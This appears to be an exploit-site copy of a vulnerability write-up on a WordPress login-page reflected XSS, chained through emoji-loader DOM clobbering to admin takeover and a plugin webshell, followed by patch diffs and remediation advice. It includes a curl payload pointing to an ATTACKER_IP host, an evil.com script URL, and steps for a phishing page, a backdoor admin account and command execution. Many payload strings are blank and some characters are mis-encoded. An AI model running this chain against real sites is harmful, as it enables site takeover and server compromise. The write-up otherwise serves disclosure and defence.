## https://sploitus.com/exploit?id=484DD59E-FE2E-5C54-905D-5C2F33014E84
# CVE-2026-64638
## Reflected XSS on Login Screen Leading to PHP Code Execution β WordPress Core
**Software:** WordPress Core β€ 7.0.2 (all versions prior to 7.0.3)
**CVSS:** 8.9 (High)
**CWE:** CWE-79 β Improper Neutralization of Input During Web Page Generation
**Authentication Required:** None (Pre-Auth)
**User Interaction:** Active (admin needs to click 1 link)
**Impact:** XSS β Account Takeover β Remote Code Execution
---
## 1. What is this vulnerability?
WordPress is the most popular content management system in the world, accounting for over 40% of all websites on the internet. Every WordPress site has a login page at `/wp-login.php` β this is a public endpoint that anyone can access without authentication.
When a user enters an incorrect username, WordPress displays an error message containing the exact username that the user just typed: *βThe username **X** is not registered on this site.β* The problem lies in the fact that the username value is placed directly into the HTML response **without going through any escape function** β an attacker simply needs to enter HTML/JavaScript instead of a real username, and the code will be executed in the browser.
This is a Reflected XSS flaw β the payload is contained in the request and reflected back identically by the server in the HTML. What makes it dangerous is that the flaw resides on the **login page** β a place frequently accessed by admins, where admin session cookies can be stolen.
The research team further discovered that this XSS can be chained with a DOM clobbering vulnerability in WordPress's emoji-loader, allowing JavaScript to be loaded from an external server. From there, an attacker can create a new admin account β install a plugin containing a webshell β execute PHP code on the server. This exploit chain is referred to as **XSS2Shell**.
| Attribute | Value |
| --- | --- |
| CVE ID | CVE-2026-64638 |
| CVSS Score | 8.9 (High) |
| Software | WordPress Core β€ 7.0.2 |
| Authentication | None required (Pre-Auth) |
| User Interaction | Requires 1 click (admin clicks link) |
| Attack Complexity | High |
| Patched | WordPress 7.0.3 (08/06/2026) |
| Reporter | pwn.ai team via HackerOne |
| HackerOne Report | #3877102 |
## 2. Terminology Explanation
### DOM Clobbering and emoji-loader
WordPress loads emoji support on every page (including the login page) via the file `emoji-loader.js`. This script reads configuration from an element with `id="wp-emoji-settings"`:
```jsx
// Before patch (vulnerable)
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
```
`document.getElementById()` returns the **first** element in the DOM with a matching id. If an attacker injects a `` before the original script tag, `getElementById` will read the attacker's content instead of the real configuration. This technique is called **DOM clobbering** β overwriting JavaScript behavior by injecting HTML elements.
The emoji configuration contains a URL to load a JavaScript file (`concatemoji`). The attacker controls this URL β loads a JS file from an external server β executes arbitrary code within the browser context.
### From XSS to RCE on WordPress
Once JavaScript execution within the admin context is achieved, the attacker has full WordPress admin privileges:
1. **Create a new admin account** β call `/wp-admin/user-new.php` with the admin session
2. **Install a plugin containing PHP code** β upload a plugin via `/wp-admin/plugin-install.php`
3. **Modify a theme file** β insert a PHP backdoor via the Theme Editor
Any of the 3 methods above allows execution of PHP code on the server β meaning RCE.
## 3. Source Code Analysis β Root Cause
### Step 1: Locate the Sink β Where the username is placed into HTML
From the fix commit `0d6d42e` on `wordpress-develop`, I identified 3 locations in the file `wp-includes/user.php` where the username/email is placed directly into the error message:
```bash
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
```
**Location 1 β Line 189** (username does not exist):
Before :
```php
// BEFORE (vulnerable):
sprintf(
__( 'The username %s is not registered...' ),
$username // β no escaping
)
```

After :
```jsx
// fixed:
sprintf(
__( 'The username %s is not registered...' ),
esc_html( $username ) // β escaped
)
```
**Location 2 β Line 216** (wrong password):
Before :

```php
// BEFORE:
'' . $username . '' // β no escaping
```
After :
```jsx
// AFTER:
'' . esc_html( $username ) . ''
```
**Location 3 β Line 299** (wrong password for email):
Before :

```php
// BEFORE:
'' . $email . '' // β no escaping
```
After :
```jsx
// AFTER:
'' . esc_html( $email ) . ''
```
### Step 2: Trace Source β Where does the data come from?
Data flow from the POST request to the error message:
```
$_POST['log'] β user input from login form
β
wp_signon() [user.php:51]
$credentials['user_login'] = wp_unslash($_POST['log']) β only removes backslashes
β
wp_authenticate($username, $password) [pluggable.php:689]
$username = sanitize_user($username) β strips HTML tags, but has a bypass
β
wp_authenticate_username_password() [user.php:153]
get_user_by('login', $username) β user not found
β
sprintf('The username %s...', $username) β XSS!
β
WP_Error β login_header() β wp_admin_notice()
wp_kses_post(...) β filters HTML but allows , , through
β
HTML response β browser render β JavaScript execute
```
### Step 3: Two Defense Layers, Weak Points, and Confirmation via Debugging
WordPress has 2 filtering layers before the username reaches the HTML:
**Layer 1: `sanitize_user()`** β Calls `strip_tags()` to remove HTML tags. However, PHP's `strip_tags()` has known limitations: non-standard tag formatting can bypass the filter.
**Layer 2: `wp_kses_post()`** β Allows a safe subset of HTML through, including ``, ``, `` with certain attributes (but strips event handlers like `onerror`, `onload`). Crucially: `wp_kses_post` **allows** `` β precisely the element needed for DOM clobbering.
The pwn.ai team found a way to bypass both layers to inject a useful payload. Specific technical details have not been publicly released.
#### **Debugging with Xdebug β Data Flow Confirmation**
To visually confirm that the username goes straight into HTML without escaping, I used Xdebug + VS Code to place breakpoints at key points in the execution chain.
**Step 1 β Input XSS payload into the login form:**
Access `http://localhost:8282/wp-login.php`, enter the username as `` then click Log In. An alert popup appears β XSS works.


**Step 2 β Breakpoint at `user.php:184` β Where XSS occurs:**
Set a breakpoint at `return new WP_Error(...)` inside the function `wp_authenticate_username_password()`. When the debugger stops, observe:
- Panel **Variables β Locals**: `$username = ""` β intact HTML payload, not escaped
- Panel **Superglobals β `$_POST`**: `log = ""` β confirms payload originates from form input
- Panel **Call Stack**: `wp_authenticate_username_password() β WP_Hook->apply_filters β apply_filters β wp_authenticate β wp_signon β {main} wp-login.php`

The value `$username` goes from `$_POST['log']` β `wp_unslash()` β (bypasses `sanitize_user`) β `sprintf()` into the error message at lines 186-189 β **no `esc_html()` in between**. In the lab, `sanitize_user()` was commented out to simulate the bypass discovered by pwn.ai.
**Step 3 β Breakpoint at `functions.php:9200` β Final Output:**
Set a breakpoint at `echo wp_get_admin_notice( $message, $args )` β this is the final line before HTML is output to the browser:
- Panel **Variables β Locals**: `$message = "Error: The username is not registered..."` β payload resides intact inside the HTML error message
- Line 9200 in the lab does not have `wp_kses_post()` wrapping it (patched out to simulate bypass), so the payload goes directly to the browser

In original WordPress, this line is `echo wp_kses_post( wp_get_admin_notice(...) )` β `wp_kses_post()` will strip the `onerror` attribute but **allow** `` through because `` is in the allowlist. This is the exact vector for the DOM clobbering attack.
### Step 4: Second Fix Commit β Hardening emoji-loader
Commit `a12c8f5` modifies `emoji-loader.js` to block DOM clobbering:
```jsx
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
// AFTER (fixed): only accepts element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
```
The fix changes 3 things:
1. Uses `querySelector('script#...')` instead of `getElementById` β only matches `` tags
2. Checks `instanceof HTMLScriptElement` β prevents DOM clobbering via `` or ``
3. Uses `.text` instead of `.textContent` β `.text` is a specific property of `HTMLScriptElement`
After the fix, even if an attacker manages to inject ``, emoji-loader will ignore it because it is not an `` element.
## 4. Attack Chain β XSS2Shell
```
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ATTACKER β
β Creates phishing link containing XSS payload β
β POST /wp-login.php with log= β
β {"source":{"concatemoji":"https://evil.com/rce.js"}} β
ββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββ
β Sends link to admin (email, chat, etc.)
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ADMIN CLICKS LINK β
β Browser POSTs to /wp-login.php β server reflects payload β
β β appears in HTML β
ββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββ
β emoji-loader.js executes
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β DOM CLOBBERING β
β getElementById('wp-emoji-settings') β returns attacker div β
β JSON.parse(div.textContent) β reads fake configuration β
β Loads script from https://evil.com/rce.js β
ββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββ
β JS executes in admin context
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ACCOUNT TAKEOVER + RCE β
β 1. Fetch /wp-admin/user-new.php β get nonce β
β 2. POST create new admin account (backdoor) β
β 3. Login using backdoor account β
β 4. Install plugin containing PHP webshell β
β 5. Call webshell β RCE on server β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
## 5. POC β Lab Reproduction
### 5.1 Check endpoint β Basic XSS
Access `http://localhost:8282/wp-login.php`, enter:
- **Username:** ``
- **Password:** arbitrary
Click Log In. If an alert popup showing βlocalhostβ appears β XSS works.
Result β payload reflected intact in HTML:

### 5.2 DOM Clobbering β Inject fake emoji settings
More complex payload β inject `` with `id="wp-emoji-settings"` containing JSON pointing to attacker's JS file:

```bash
# Payload: inject div clobber emoji-settings
PAYLOAD='{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}'
curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
--data-urlencode "log=${PAYLOAD}" \
-d '&pwd=test&wp-submit=Log+In&testcookie=1' \
| grep "wp-emoji-settings"
```
If the HTML output contains `` with the attacker's JSON β emoji-loader will load JS from the attacker server.
### **5.3 Full chain β XSS2Shell with exploit.py**
#### **Step 1: Run exploit server**
```
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
```
The script `exploit.py` serves 2 things:
- `http://127.0.0.1:9999/phish.html` β phishing page impersonating WordPress Security Update
- `http://127.0.0.1:9999/evil.js` β JS payload creating a backdoor admin account
#### **Step 2: Admin clicks phishing link**
Attacker sends link `http://127.0.0.1:9999/phish.html` to admin via email/chat. When admin clicks:
1. Phishing page auto-POSTs to `/wp-login.php` with username containing XSS payload
2. Login page renders β `` appears in HTML
3. `emoji-loader.js` reads fake div β loads `evil.js` from attacker server
4. `evil.js` runs in admin browser β fetches `/wp-admin/user-new.php` to get nonce β creates account `backdoor_xss2shell / Pwn3d!XSS2Shell`

The entire process occurs automatically; the admin only sees the normal login page with "username not found" error.
#### **Step 3: Attacker logins and uploads webshell**
In the lab, admin was already logged in with `admin / admin123` so `evil.js` ran immediately. After gaining access to the account, I immediately uploaded a webshell via Plugin:

```
```
#### **Step 4: RCE β execute commands on server**


Output returned `www-data` β the attacker now has command execution privileges on the server.
## 6. Severity & Impact
| CVSS Metric | Value | Reason |
| --- | --- | --- |
| Attack Vector | Network | Via HTTP, sending link to victim |
| Attack Complexity | High | Requires bypass of `sanitize_user()` + `wp_kses_post()`, requires victim click |
| Privileges Required | None | Login endpoint requires no authentication |
| User Interaction | Active | Admin must click phishing link |
| Confidentiality | High | Read cookies, session, admin panel contents |
| Integrity | High | Create admin account, install plugin, modify files |
| Availability | High | RCE β full server control |
### Real-world Impact
- Affects **all WordPress versions** prior to 7.0.3
- `/wp-login.php` endpoint is always public and cannot be hidden (unless using plugins to change login URL)
- Login page is a natural phishing target β admins are accustomed to clicking links to login pages
- Exploit chain **XSS β DOM Clobbering β Admin Takeover β RCE** requires no special conditions beyond 1 click from admin
- Even without chaining to RCE, XSS on login page allows stealing session cookies (if `HttpOnly` is not set properly) or phishing credentials
## 7. Remediation
### Patched in WordPress 7.0.3
**Fix 1 β Escape output** (`user.php`):
```php
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
```
**Fix 2 β Harden emoji-loader** (`emoji-loader.js`):
```jsx
// Only accept element, do not accept or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
throw new Error('Element missing');
}
```
**Fix 3 β Escape URL** (`wp-login.php`):
```php
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
```
### What WordPress Admins Should Do
1. **Update to WordPress 7.0.3 immediately** β patch released on 08/06/2026
2. If using an older version (6.x, 5.x, 4.7+), WordPress has backported the fix
3. Check access logs: look for POST requests to `/wp-login.php` with HTML payload in `log` parameter
4. Consider using WAF rules to block HTML tags in login form fields
5. Review the list of admin users β if unknown accounts are found, the site may have been compromised
### Lessons for Developers
1. **Always escape output, do not rely solely on sanitizing input.** `sanitize_user()` is designed to normalize usernames, not prevent XSS. Defense-in-depth: escaping at the output point (`esc_html`, `esc_attr`, `esc_url`) is the final and most critical defense layer.
2. **Do not use `getElementById` for security-sensitive data.** DOM clobbering can inject a fake element with the same id. Use `querySelector` with specific tag name + `instanceof` check.
3. **`wp_kses_post` is not an XSS filter.** It is designed to allow safe HTML in post content β not to block XSS in other contexts. Each context requires its dedicated escape function.